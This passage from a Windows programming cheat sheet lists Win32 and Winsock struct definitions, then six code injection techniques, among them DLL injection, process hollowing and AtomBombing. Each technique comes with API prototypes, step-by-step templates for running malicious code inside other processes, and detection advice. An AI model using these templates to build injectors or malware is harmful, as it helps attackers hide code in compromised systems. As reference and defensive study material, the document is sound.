whether the handle can be inherited by child processes and specifies a security descriptor for a new object. 1377 | typedef struct _SECURITY_ATTRIBUTES { 1378 | DWORD nLength; 1379 | LPVOID lpSecurityDescriptor; 1380 | BOOL bInheritHandle; 1381 | } SECURITY_ATTRIBUTES, *LPSECURITY_ATTRIBUTES; 1382 | ``` 1383 | [**`OVERLAPPED`**](https://docs.microsoft.com/en-us/windows/win32/api/minwinbase/ns-minwinbase-overlapped) 1384 | ```cpp 1385 | #inluce 1386 | // Contains information used in asynchronous (also known as overlapped) input and output (I/O) operations. 1387 | typedef struct _OVERLAPPED { 1388 | ULONG_PTR Internal; 1389 | ULONG_PTR InternalHigh; 1390 | union { 1391 | struct { 1392 | DWORD Offset; 1393 | DWORD OffsetHigh; 1394 | } DUMMYSTRUCTNAME; 1395 | PVOID Pointer; 1396 | } DUMMYUNIONNAME; 1397 | HANDLE hEvent; 1398 | } OVERLAPPED, *LPOVERLAPPED; 1399 | ``` 1400 | [**`GUID`**](https://docs.microsoft.com/en-us/windows/win32/api/guiddef/ns-guiddef-guid) 1401 | ```cpp 1402 | #include 1403 | // Represents a globally unique identifier (GUID), used to identify objects, interfaces, and other items. 1404 | typedef struct _GUID { 1405 | unsigned long Data1; 1406 | unsigned short Data2; 1407 | unsigned short Data3; 1408 | unsigned char Data4[8]; 1409 | } GUID; 1410 | ``` 1411 | [**`MEMORY_BASIC_INFORMATION`**](https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-memory_basic_information) 1412 | ```cpp 1413 | #include 1414 | // Contains information about a range of pages in the virtual address space of a process. 1415 | typedef struct _MEMORY_BASIC_INFORMATION { 1416 | PVOID BaseAddress; 1417 | PVOID AllocationBase; 1418 | DWORD AllocationProtect; 1419 | SIZE_T RegionSize; 1420 | DWORD State; 1421 | DWORD Protect; 1422 | DWORD Type; 1423 | } MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION; 1424 | ``` 1425 | [**`SYSTEMTIME`**](https://docs.microsoft.com/en-us/windows/win32/api/minwinbase/ns-minwinbase-systemtime) 1426 | ```cpp 1427 | #include 1428 | // Specifies a date and time, using individual members for the month, day, year, weekday, hour, minute, second, and millisecond. 1429 | typedef struct _SYSTEMTIME { 1430 | WORD wYear; 1431 | WORD wMonth; 1432 | WORD wDayOfWeek; 1433 | WORD wDay; 1434 | WORD wHour; 1435 | WORD wMinute; 1436 | WORD wSecond; 1437 | WORD wMilliseconds; 1438 | } SYSTEMTIME, *PSYSTEMTIME, *LPSYSTEMTIME; 1439 | ``` 1440 | [**`COORD`**](https://docs.microsoft.com/en-us/windows/console/coord-str) 1441 | ```cpp 1442 | // Defines the coordinates of a character cell in a console screen buffer, where the origin (0,0) is at the top-left corner. 1443 | typedef struct _COORD { 1444 | SHORT X; 1445 | SHORT Y; 1446 | } COORD, *PCOORD; 1447 | ``` 1448 | [**`SMALL_RECT`**](https://docs.microsoft.com/en-us/windows/console/small-rect-str) 1449 | ```cpp 1450 | // Defines the coordinates of the upper left and lower right corners of a rectangle. 1451 | typedef struct _SMALL_RECT { 1452 | SHORT Left; 1453 | SHORT Top; 1454 | SHORT Right; 1455 | SHORT Bottom; 1456 | } SMALL_RECT; 1457 | ``` 1458 | [**`CONSOLE_SCREEN_BUFFER_INFO`**](https://docs.microsoft.com/en-us/windows/console/console-screen-buffer-info-str) 1459 | ```cpp 1460 | // Contains information about a console screen buffer. 1461 | typedef struct _CONSOLE_SCREEN_BUFFER_INFO { 1462 | COORD dwSize; 1463 | COORD dwCursorPosition; 1464 | WORD wAttributes; 1465 | SMALL_RECT srWindow; 1466 | COORD dwMaximumWindowSize; 1467 | } CONSOLE_SCREEN_BUFFER_INFO, *PCONSOLE_SCREEN_BUFFER_INFO; 1468 | ``` 1469 | [**`WSADATA`**](https://docs.microsoft.com/en-us/windows/win32/api/winsock/ns-winsock-wsadata) 1470 | ```cpp 1471 | #include 1472 | // Contains information about the Windows Sockets implementation. 1473 | typedef struct WSAData { 1474 | WORD wVersion; 1475 | WORD wHighVersion; 1476 | unsigned short iMaxSockets; 1477 | unsigned short iMaxUdpDg; 1478 | char FAR *lpVendorInfo; 1479 | char szDescription[WSADESCRIPTION_LEN+1]; 1480 | char szSystemStatus[WSASYS_STATUS_LEN+1]; 1481 | } WSADATA, *LPWSADATA; 1482 | ``` 1483 | [**`CRITICAL_SECTION`**]([struct RTL_CRITICAL_SECTION (nirsoft.net)](https://www.nirsoft.net/kernel_struct/vista/RTL_CRITICAL_SECTION.html)) 1484 | ```c++ 1485 | // Represents a critical section object, which is used to provide synchronization access to a shared resource. 1486 | typedef struct _RTL_CRITICAL_SECTION { 1487 | PRTL_CRITICAL_SECTION_DEBUG DebugInfo; 1488 | LONG LockCount; 1489 | LONG RecursionCount; 1490 | HANDLE OwningThread; 1491 | HANDLE LockSemaphore; 1492 | ULONG_PTR SpinCount; 1493 | } RTL_CRITICAL_SECTION, *PRTL_CRITICAL_SECTION; 1494 | ``` 1495 | [**`WSAPROTOCOL_INFO`**](https://docs.microsoft.com/en-us/windows/win32/api/winsock2/ns-winsock2-wsaprotocol_infoa) 1496 | ```c++ 1497 | #include 1498 | // Contains Windows Sockets protocol information. 1499 | typedef struct _WSAPROTOCOL_INFOA { 1500 | DWORD dwServiceFlags1; 1501 | DWORD dwServiceFlags2; 1502 | DWORD dwServiceFlags3; 1503 | DWORD dwServiceFlags4; 1504 | DWORD dwProviderFlags; 1505 | GUID ProviderId; 1506 | DWORD dwCatalogEntryId; 1507 | WSAPROTOCOLCHAIN ProtocolChain; 1508 | int iVersion; 1509 | int iAddressFamily; 1510 | int iMaxSockAddr; 1511 | int iMinSockAddr; 1512 | int iSocketType; 1513 | int iProtocol; 1514 | int iProtocolMaxOffset; 1515 | int iNetworkByteOrder; 1516 | int iSecurityScheme; 1517 | DWORD dwMessageSize; 1518 | DWORD dwProviderReserved; 1519 | CHAR szProtocol[WSAPROTOCOL_LEN+1]; 1520 | } WSAPROTOCOL_INFOA, *LPWSAPROTOCOL_INFOA; 1521 | ``` 1522 | [**`MSGHDR`**](https://docs.microsoft.com/en-us/windows/win32/api/ws2tcpip/ns-ws2tcpip-_msghdr) 1523 | ```c++ 1524 | #include 1525 | // Contains message information for use with the `sendmsg` and `recvmsg` functions. 1526 | typedef struct _WSAMSG { 1527 | LPSOCKADDR name; 1528 | INT namelen; 1529 | LPWSABUF lpBuffers; 1530 | ULONG dwBufferCount; 1531 | WSABUF Control; 1532 | ULONG dwFlags; 1533 | } WSAMSG, *PWSAMSG, *LPWSAMSG; 1534 | ``` 1535 | 1536 | ### Win32 Sockets Structs Cheat Sheet (winsock.h) 1537 | [**`SOCKADDR`**](https://docs.microsoft.com/en-us/windows/win32/api/winsock/ns-winsock-sockaddr) 1538 | ```cpp 1539 | // A generic socket address structure used for compatibility with various address families. 1540 | typedef struct sockaddr { 1541 | u_short sa_family; 1542 | char sa_data[14]; 1543 | } SOCKADDR, *PSOCKADDR, *LPSOCKADDR; 1544 | ``` 1545 | [**`SOCKADDR_IN`**](https://docs.microsoft.com/en-us/windows/win32/api/winsock/ns-winsock-sockaddr_in) 1546 | ```cpp 1547 | // Represents an IPv4 socket address, containing the IPv4 address, port number, and address family. 1548 | typedef struct sockaddr_in { 1549 | short sin_family; 1550 | u_short sin_port; 1551 | struct in_addr sin_addr; 1552 | char sin_zero[8]; 1553 | } SOCKADDR_IN, *PSOCKADDR_IN, *LPSOCKADDR_IN; 1554 | ``` 1555 | [**`LINGER`**](https://docs.microsoft.com/en-us/windows/win32/api/winsock/ns-winsock-linger) 1556 | ```cpp 1557 | // Used to set the socket option SO_LINGER, which determines the action taken when unsent data is queued on a socket and a `closesocket` is performed. 1558 | typedef struct linger { 1559 | u_short l_onoff; 1560 | u_short l_linger; 1561 | } LINGER, *PLINGER, *LPLINGER; 1562 | ``` 1563 | [**`TIMEVAL`**](https://docs.microsoft.com/en-us/windows/win32/api/winsock/ns-winsock-timeval) 1564 | ```cpp 1565 | // Represents a time interval, used with the `select` function to specify a timeout period. 1566 | typedef struct timeval { 1567 | long tv_sec; 1568 | long tv_usec; 1569 | } TIMEVAL, *PTIMEVAL, *LPTIMEVAL; 1570 | ``` 1571 | [**`FD_SET`**](https://docs.microsoft.com/en-us/windows/win32/api/winsock/ns-winsock-fd_set) 1572 | ```cpp 1573 | // Represents a set of sockets used with the `select` function to check for socket events. 1574 | typedef struct fd_set { 1575 | u_int fd_count; 1576 | SOCKET fd_array[FD_SETSIZE]; 1577 | } fd_set, *Pfd_set, *LPfd_set; 1578 | ``` 1579 | 1580 | ### Win32 Sockets Structs Cheat Sheet (winsock2.h) 1581 | [**`IN_ADDR`**](https://learn.microsoft.com/en-us/windows/win32/api/winsock2/ns-winsock2-in_addr) 1582 | ```cpp 1583 | // Represents an IPv4 address. 1584 | typedef struct in_addr { 1585 | union { 1586 | struct { 1587 | u_char s_b1, s_b2, s_b3, s_b4; 1588 | } S_un_b; 1589 | struct { 1590 | u_short s_w1, s_w2; 1591 | } S_un_w; 1592 | u_long S_addr; 1593 | } S_un; 1594 | } IN_ADDR, *PIN_ADDR, *LPIN_ADDR; 1595 | ``` 1596 | 1597 | ### Win32 Sockets Structs Cheat Sheet (ws2def.h) 1598 | [**`ADDRINFO`**](https://learn.microsoft.com/en-us/windows/win32/api/ws2def/ns-ws2def-addrinfow) 1599 | ```cpp 1600 | #include 1601 | // Contains information about an address for use with the `getaddrinfo` function, and is used to build a linked list of addresses. 1602 | typedef struct addrinfoW { 1603 | int ai_flags; 1604 | int ai_family; 1605 | int ai_socktype; 1606 | int ai_protocol; 1607 | size_t ai_addrlen; 1608 | PWSTR *ai_canonname; 1609 | struct sockaddr *ai_addr; 1610 | struct addrinfo *ai_next; 1611 | } ADDRINFOW, *PADDRINFOW; 1612 | ``` 1613 | [**`WSABUF`**](https://learn.microsoft.com/en-us/windows/win32/api/ws2def/ns-ws2def-wsabuf) 1614 | ```cpp 1615 | #include 1616 | // Contains a pointer to a buffer and its length. Used for scatter/gather I/O operations. 1617 | typedef struct _WSABUF { 1618 | ULONG len; 1619 | __field_bcount(len) CHAR FAR *buf; 1620 | } WSABUF, FAR * LPWSABUF; 1621 | ``` 1622 | [**`SOCKADDR_IN6`**](https://docs.microsoft.com/en-us/windows/win32/api/ws2ipdef/ns-ws2ipdef-sockaddr_in6) 1623 | ```cpp 1624 | #include 1625 | // Represents an IPv6 socket address, containing the IPv6 address, port number, flow info, and address family. 1626 | typedef struct sockaddr_in6 { 1627 | short sin6_family; 1628 | u_short sin6_port; 1629 | u_long sin6_flowinfo; 1630 | struct in6_addr sin6_addr; 1631 | u_long sin6_scope_id; 1632 | } SOCKADDR_IN6, *PSOCKADDR_IN6, *LPSOCKADDR_IN6; 1633 | ``` 1634 | [**`IN6_ADDR`**](https://learn.microsoft.com/en-us/windows/win32/api/in6addr/ns-in6addr-in6_addr) 1635 | ```cpp 1636 | #include 1637 | // Represents an IPv6 address. 1638 | typedef struct in6_addr { 1639 | union { 1640 | u_char Byte[16]; 1641 | u_short Word[8]; 1642 | } u; 1643 | } IN6_ADDR, *PIN6_ADDR, *LPIN6_ADDR; 1644 | ``` 1645 | 1646 | # Code Injection Techniques 1647 | 1648 | ## 1. DLL Injection 1649 | 1650 | This technique forces a process to load a malicious DLL. 1651 | 1652 | Key APIs: 1653 | - [`OpenProcess`](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess) 1654 | ```c 1655 | HANDLE OpenProcess( 1656 | DWORD dwDesiredAccess, 1657 | BOOL bInheritHandle, 1658 | DWORD dwProcessId 1659 | ); 1660 | ``` 1661 | - [`VirtualAllocEx`](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex) 1662 | ```c 1663 | LPVOID VirtualAllocEx( 1664 | HANDLE hProcess, 1665 | LPVOID lpAddress, 1666 | SIZE_T dwSize, 1667 | DWORD flAllocationType, 1668 | DWORD flProtect 1669 | ); 1670 | ``` 1671 | - [`WriteProcessMemory`](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory) 1672 | ```c 1673 | BOOL WriteProcessMemory( 1674 | HANDLE hProcess, 1675 | LPVOID lpBaseAddress, 1676 | LPCVOID lpBuffer, 1677 | SIZE_T nSize, 1678 | SIZE_T *lpNumberOfBytesWritten 1679 | ); 1680 | ``` 1681 | - [`CreateRemoteThread`](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread) 1682 | ```c 1683 | HANDLE CreateRemoteThread( 1684 | HANDLE hProcess, 1685 | LPSECURITY_ATTRIBUTES lpThreadAttributes, 1686 | SIZE_T dwStackSize, 1687 | LPTHREAD_START_ROUTINE lpStartAddress, 1688 | LPVOID lpParameter, 1689 | DWORD dwCreationFlags, 1690 | LPDWORD lpThreadId 1691 | ); 1692 | ``` 1693 | - [`GetProcAddress`](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress) 1694 | ```c 1695 | FARPROC GetProcAddress( 1696 | HMODULE hModule, 1697 | LPCSTR lpProcName 1698 | ); 1699 | ``` 1700 | - [`LoadLibrary`](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya) 1701 | ```c 1702 | HMODULE LoadLibraryA( 1703 | LPCSTR lpLibFileName 1704 | ); 1705 | ``` 1706 | - `NtCreateThread` (Undocumented) 1707 | ```c 1708 | NTSTATUS NTAPI NtCreateThread( 1709 | OUT PHANDLE ThreadHandle, 1710 | IN ACCESS_MASK DesiredAccess, 1711 | IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, 1712 | IN HANDLE ProcessHandle, 1713 | OUT PCLIENT_ID ClientId, 1714 | IN PCONTEXT ThreadContext, 1715 | IN PINITIAL_TEB InitialTeb, 1716 | IN BOOLEAN CreateSuspended 1717 | ); 1718 | ``` 1719 | - `RtlCreateUserThread` (Undocumented) 1720 | ```c 1721 | NTSTATUS NTAPI RtlCreateUserThread( 1722 | IN HANDLE ProcessHandle, 1723 | IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL, 1724 | IN BOOLEAN CreateSuspended, 1725 | IN ULONG StackZeroBits, 1726 | IN OUT PULONG StackReserved, 1727 | IN OUT PULONG StackCommit, 1728 | IN PVOID StartAddress, 1729 | IN PVOID StartParameter OPTIONAL, 1730 | OUT PHANDLE ThreadHandle, 1731 | OUT PCLIENT_ID ClientId 1732 | ); 1733 | ``` 1734 | 1735 | Template: 1736 | 1. Open the target process with `OpenProcess` 1737 | 2. Allocate memory in the target process with `VirtualAllocEx` 1738 | 3. Write the DLL path to the allocated memory with `WriteProcessMemory` 1739 | 4. Get the address of `LoadLibraryA` using `GetProcAddress` 1740 | 5. Create a remote thread in the target process with `CreateRemoteThread`, pointing to `LoadLibraryA` pass the address of `LoadLibraryA` as the `lpStartAddress` parameter. 1741 | 6. (Optional) Use `NtCreateThread` or `RtlCreateUserThread` for alternative thread creation methods 1742 | 1743 | Detection and Defense: 1744 | - Monitor for suspicious process access and memory allocation patterns 1745 | - Use application whitelisting to prevent unauthorized DLLs from loading 1746 | - Implement process integrity checks 1747 | - Use tools like Microsoft's Process Monitor to detect DLL injection attempts 1748 | 1749 | ## 2. PE Injection 1750 | 1751 | This technique involves writing and executing malicious code in a remote process or the same process (self-injection). 1752 | 1753 | Key APIs: 1754 | - [`OpenThread`](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openthread) 1755 | ```c 1756 | HANDLE OpenThread( 1757 | DWORD dwDesiredAccess, 1758 | BOOL bInheritHandle, 1759 | DWORD dwThreadId 1760 | ); 1761 | ``` 1762 | - [`SuspendThread`](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-suspendthread) 1763 | ```c 1764 | DWORD SuspendThread( 1765 | HANDLE hThread 1766 | ); 1767 | ``` 1768 | - `VirtualAllocEx` (see above) 1769 | - `WriteProcessMemory` (see above) 1770 | - [`SetThreadContext`](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-setthreadcontext) 1771 | ```c 1772 | BOOL SetThreadContext( 1773 | HANDLE hThread, 1774 | const CONTEXT *lpContext 1775 | ); 1776 | ``` 1777 | - [`ResumeThread`](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-resumethread) 1778 | ```c 1779 | DWORD ResumeThread( 1780 | HANDLE hThread 1781 | ); 1782 | ``` 1783 | - `NtResumeThread` (Undocumented) 1784 | ```c 1785 | NTSTATUS NTAPI NtResumeThread( 1786 | IN HANDLE ThreadHandle, 1787 | OUT PULONG PreviousSuspendCount OPTIONAL 1788 | ); 1789 | ``` 1790 | 1791 | Template: 1792 | 1. Open the target thread with `OpenThread` 1793 | 2. Suspend the thread with `SuspendThread` 1794 | 3. Allocate memory in the target process with `VirtualAllocEx` 1795 | 4. Write the malicious code to the allocated memory with `WriteProcessMemory` 1796 | 5. Modify the thread context to point to the injected code with `SetThreadContext` 1797 | 6. Resume the thread with `ResumeThread` or `NtResumeThread` 1798 | 1799 | Detection and Defense: 1800 | - Monitor for unusual thread suspension and resumption patterns 1801 | - Implement memory integrity checks 1802 | - Use Endpoint Detection and Response (EDR) solutions to detect suspicious memory modifications 1803 | - Employ runtime process memory scanning techniques 1804 | 1805 | ## 3. Reflective Injection 1806 | 1807 | Similar to PE Injection but avoids using `LoadLibrary` and `CreateRemoteThread`. Involves writing a custom loader that can load a DLL from memory without using the standard Windows loader. 1808 | 1809 | Key APIs: 1810 | - [`CreateFileMapping`](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createfilemappinga) 1811 | ```c 1812 | HANDLE CreateFileMappingA( 1813 | HANDLE hFile, 1814 | LPSECURITY_ATTRIBUTES lpFileMappingAttributes, 1815 | DWORD flProtect, 1816 | DWORD dwMaximumSizeHigh, 1817 | DWORD dwMaximumSizeLow, 1818 | LPCSTR lpName 1819 | ); 1820 | ``` 1821 | - [`MapViewOfFile`](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-mapviewoffile) 1822 | ```c 1823 | LPVOID MapViewOfFile( 1824 | HANDLE hFileMappingObject, 1825 | DWORD dwDesiredAccess, 1826 | DWORD dwFileOffsetHigh, 1827 | DWORD dwFileOffsetLow, 1828 | SIZE_T dwNumberOfBytesToMap 1829 | ); 1830 | ``` 1831 | - `OpenProcess` (see above) 1832 | - [`memcpy`](https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/memcpy-wmemcpy) 1833 | ```c 1834 | void *memcpy( 1835 | void *dest, 1836 | const void *src, 1837 | size_t count 1838 | ); 1839 | ``` 1840 | - `ZwMapViewOfSection` (Documented for kernel-mode) 1841 | ```c 1842 | NTSTATUS ZwMapViewOfSection( 1843 | HANDLE SectionHandle, 1844 | HANDLE ProcessHandle, 1845 | PVOID *BaseAddress, 1846 | ULONG_PTR ZeroBits, 1847 | SIZE_T CommitSize, 1848 | PLARGE_INTEGER SectionOffset, 1849 | PSIZE_T ViewSize, 1850 | SECTION_INHERIT InheritDisposition, 1851 | ULONG AllocationType, 1852 | ULONG Win32Protect 1853 | ); 1854 | ``` 1855 | - `CreateThread` (see CreateRemoteThread above) 1856 | - `NtQueueApcThread` (Undocumented) 1857 | ```c 1858 | NTSTATUS NTAPI NtQueueApcThread( 1859 | IN HANDLE ThreadHandle, 1860 | IN PIO_APC_ROUTINE ApcRoutine, 1861 | IN PVOID ApcRoutineContext OPTIONAL, 1862 | IN PIO_STATUS_BLOCK ApcStatusBlock OPTIONAL, 1863 | IN ULONG ApcReserved OPTIONAL 1864 | ); 1865 | ``` 1866 | - `RtlCreateUserThread` (see above) 1867 | 1868 | Additional APIs sometimes used: 1869 | - [`VirtualQueryEx`](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualqueryex) 1870 | ```c 1871 | SIZE_T VirtualQueryEx( 1872 | HANDLE hProcess, 1873 | LPCVOID lpAddress, 1874 | PMEMORY_BASIC_INFORMATION lpBuffer, 1875 | SIZE_T dwLength 1876 | ); 1877 | ``` 1878 | - [`ReadProcessMemory`](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-readprocessmemory) 1879 | ```c 1880 | BOOL ReadProcessMemory( 1881 | HANDLE hProcess, 1882 | LPCVOID lpBaseAddress, 1883 | LPVOID lpBuffer, 1884 | SIZE_T nSize, 1885 | SIZE_T *lpNumberOfBytesRead 1886 | ); 1887 | ``` 1888 | 1889 | Template: 1890 | 1. Create a file mapping of the DLL with `CreateFileMapping` 1891 | 2. Map a view of the file with `MapViewOfFile` 1892 | 3. Open the target process with `OpenProcess` 1893 | 4. Allocate memory in the target process with `VirtualAllocEx` 1894 | 5. Copy the DLL contents to the allocated memory with `WriteProcessMemory` 1895 | 6. Perform manual loading and relocation of the DLL in the target process 1896 | - Parse the PE headers 1897 | - Allocate memory for each section 1898 | - Copy sections to allocated memory 1899 | - Process the relocation table: 1900 | - Enumerate relocation entries 1901 | - Apply relocations based on the new base address 1902 | - Resolve imports: 1903 | - Walk the import directory 1904 | - For each imported function, resolve its address using GetProcAddress 1905 | - Write the resolved addresses to the IAT 1906 | 7. Execute the DLL's entry point using one of the thread creation methods 1907 | 1908 | Detection and Defense: 1909 | - Implement advanced memory scanning techniques to detect injected code 1910 | - Use behavior-based detection to identify suspicious memory allocation patterns 1911 | - Monitor for unusual file mapping operations 1912 | - Employ heuristic-based detection methods to identify reflective loaders 1913 | ## 4. APC Injection 1914 | 1915 | This technique allows code execution in a specific thread by attaching to an Asynchronous Procedure Call (APC) queue. Works best with alertable threads (those that call alertable wait functions). 1916 | 1917 | Key APIs: 1918 | - [`CreateToolhelp32Snapshot`](https://docs.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-createtoolhelp32snapshot) 1919 | ```c 1920 | HANDLE CreateToolhelp32Snapshot( 1921 | DWORD dwFlags, 1922 | DWORD th32ProcessID 1923 | ); 1924 | ``` 1925 | - [`Process32First`](https://docs.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-process32first) 1926 | ```c 1927 | BOOL Process32First( 1928 | HANDLE hSnapshot, 1929 | LPPROCESSENTRY32 lppe 1930 | ); 1931 | ``` 1932 | - [`Process32Next`](https://docs.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-process32next) 1933 | ```c 1934 | BOOL Process32Next( 1935 | HANDLE hSnapshot, 1936 | LPPROCESSENTRY32 lppe 1937 | ); 1938 | ``` 1939 | - [`Thread32First`](https://docs.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-thread32first) 1940 | ```c 1941 | BOOL Thread32First( 1942 | HANDLE hSnapshot, 1943 | LPTHREADENTRY32 lpte 1944 | ); 1945 | ``` 1946 | - [`Thread32Next`](https://docs.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-thread32next) 1947 | ```c 1948 | BOOL Thread32Next( 1949 | HANDLE hSnapshot, 1950 | LPTHREADENTRY32 lpte 1951 | ); 1952 | ``` 1953 | - [`QueueUserAPC`](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-queueuserapc) 1954 | ```c 1955 | DWORD QueueUserAPC( 1956 | PAPCFUNC pfnAPC, 1957 | HANDLE hThread, 1958 | ULONG_PTR dwData 1959 | ); 1960 | ``` 1961 | - `KeInitializeAPC` (Kernel-mode, undocumented) 1962 | ```c 1963 | VOID KeInitializeApc( 1964 | PRKAPC Apc, 1965 | PRKTHREAD Thread, 1966 | KAPC_ENVIRONMENT Environment, 1967 | PKKERNEL_ROUTINE KernelRoutine, 1968 | PKRUNDOWN_ROUTINE RundownRoutine, 1969 | PKNORMAL_ROUTINE NormalRoutine, 1970 | KPROCESSOR_MODE ProcessorMode, 1971 | PVOID NormalContext 1972 | ); 1973 | ``` 1974 | 1975 | Template: 1976 | 1. Create a snapshot of the system processes with `CreateToolhelp32Snapshot` 1977 | 2. Enumerate processes and threads using `Process32First`, `Process32Next`, `Thread32First`, and `Thread32Next` 1978 | 3. Open the target process with `OpenProcess` 1979 | 4. Allocate memory in the target process with `VirtualAllocEx` 1980 | 5. Write the malicious code to the allocated memory with `WriteProcessMemory` 1981 | 6. Queue an APC to the target thread with `QueueUserAPC`, pointing to the injected code 1982 | 1983 | Detection and Defense: 1984 | - Monitor for suspicious APC queue operations 1985 | - Implement thread execution monitoring to detect unexpected code execution 1986 | - Use EDR solutions with capabilities to detect APC abuse 1987 | - Employ runtime analysis to identify unusual thread behavior 1988 | 1989 | ## 5. Process Hollowing (Process Replacement) 1990 | 1991 | This technique "drains out" the entire content of a process and inserts malicious content into it. 1992 | 1993 | Key APIs: 1994 | - [`CreateProcess`](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa) 1995 | ```c 1996 | BOOL CreateProcessA( 1997 | LPCSTR lpApplicationName, 1998 | LPSTR lpCommandLine, 1999 | LPSECURITY_ATTRIBUTES lpProcessAttributes, 2000 | LPSECURITY_ATTRIBUTES lpThreadAttributes, 2001 | BOOL bInheritHandles, 2002 | DWORD dwCreationFlags, 2003 | LPVOID lpEnvironment, 2004 | LPCSTR lpCurrentDirectory, 2005 | LPSTARTUPINFOA lpStartupInfo, 2006 | LPPROCESS_INFORMATION lpProcessInformation 2007 | ); 2008 | ``` 2009 | - `NtQueryInformationProcess` (Undocumented) 2010 | ```c 2011 | NTSTATUS NTAPI NtQueryInformationProcess( 2012 | IN HANDLE ProcessHandle, 2013 | IN PROCESSINFOCLASS ProcessInformationClass, 2014 | OUT PVOID ProcessInformation, 2015 | IN ULONG ProcessInformationLength, 2016 | OUT PULONG ReturnLength OPTIONAL 2017 | ); 2018 | ``` 2019 | - [`GetModuleHandle`](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getmodulehandlea) 2020 | ```c 2021 | HMODULE GetModuleHandleA( 2022 | LPCSTR lpModuleName 2023 | ); 2024 | ``` 2025 | - `ZwUnmapViewOfSection` / `NtUnmapViewOfSection` (Undocumented) 2026 | ```c 2027 | NTSTATUS NTAPI NtUnmapViewOfSection( 2028 | IN HANDLE ProcessHandle, 2029 | IN PVOID BaseAddress 2030 | ); 2031 | ``` 2032 | - `VirtualAllocEx` (see above) 2033 | - `WriteProcessMemory` (see above) 2034 | - [`GetThreadContext`](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getthreadcontext) 2035 | ```c 2036 | BOOL GetThreadContext( 2037 | HANDLE hThread, 2038 | LPCONTEXT lpContext 2039 | ); 2040 | ``` 2041 | - `SetThreadContext` (see above) 2042 | - `ResumeThread` (see above) 2043 | 2044 | Template: 2045 | 1. Create a new process in a suspended state using `CreateProcess` with `CREATE_SUSPENDED` flag 2046 | 2. Get the process information using `NtQueryInformationProcess` 2047 | 3. Unmap the original executable from the process using `NtUnmapViewOfSection` after unmapping the original executable, adjust the image base address in the PEB (Process Environment Block) to point to the new allocated memory. 2048 | 4. Adjust the image base address in the PEB: 2049 | - Use `ReadProcessMemory` to read the PEB 2050 | - Locate the `ImageBaseAddress` field 2051 | - Use `WriteProcessMemory` to update it with the address of the newly allocated memory 2052 | 5. Allocate memory in the target process with `VirtualAllocEx` 2053 | 6. Write the malicious executable to the allocated memory with `WriteProcessMemory` 2054 | 7. Update the thread context to point to the new entry point using `GetThreadContext` and `SetThreadContext` 2055 | 8. Resume the main thread of the process with `ResumeThread` 2056 | 2057 | Detection and Defense: 2058 | - Implement process integrity checks to detect hollowed processes 2059 | - Monitor for suspicious process creation patterns, especially with the `CREATE_SUSPENDED` flag 2060 | - Use memory forensics tools to identify signs of process hollowing 2061 | - Employ behavior-based detection to identify processes with unexpected memory layouts 2062 | ## 6. AtomBombing 2063 | 2064 | A variant of APC injection that works by splitting the malicious payload into separate strings and using atoms. this technique relies on the fact that atoms are shared across processes. 2065 | 2066 | Key APIs: 2067 | - `OpenThread` (see above) 2068 | - [`GlobalAddAtom`](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-globaladdatoma) 2069 | ```c 2070 | ATOM GlobalAddAtomA( 2071 | LPCSTR lpString 2072 | ); 2073 | ``` 2074 | - [`GlobalGetAtomName`](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-globalgetatomaname) 2075 | ```c 2076 | UINT GlobalGetAtomNameA( 2077 | ATOM nAtom, 2078 | LPSTR lpBuffer, 2079 | int nSize 2080 | ); 2081 | ``` 2082 | - `QueueUserAPC` (see above) 2083 | - `NtQueueApcThread` (Undocumented, see above) 2084 | - `NtSetContextThread` (Undocumented) 2085 | ```c 2086 | NTSTATUS NTAPI NtSetContextThread( 2087 | IN HANDLE ThreadHandle, 2088 | IN PCONTEXT ThreadContext 2089 | ); 2090 | ``` 2091 | 2092 | Template: 2093 | 1. Split the malicious payload into small chunks 2094 | 2. For each chunk, use `GlobalAddAtom` to create a global atom 2095 | 3. Open the target thread with `OpenThread` 2096 | 4. Queue an APC to the target thread with `QueueUserAPC` or `NtQueueApcThread` 2097 | 5. In the APC routine, use `GlobalGetAtomName` to retrieve the payload chunks 2098 | 6. Assemble the payload in the target process memory 2099 | 7. Execute the payload using `NtSetContextThread` or by queuing another APC 2100 | 2101 | Detection and Defense: 2102 | - Monitor for unusual patterns of atom creation and retrieval 2103 | - Implement behavior-based detection for processes accessing a large number of atoms 2104 | - Use EDR solutions with capabilities to detect AtomBombing techniques 2105 | - Employ runtime analysis to identify suspicious APC usage in combination with atom manipulation 2106 | 2107 | 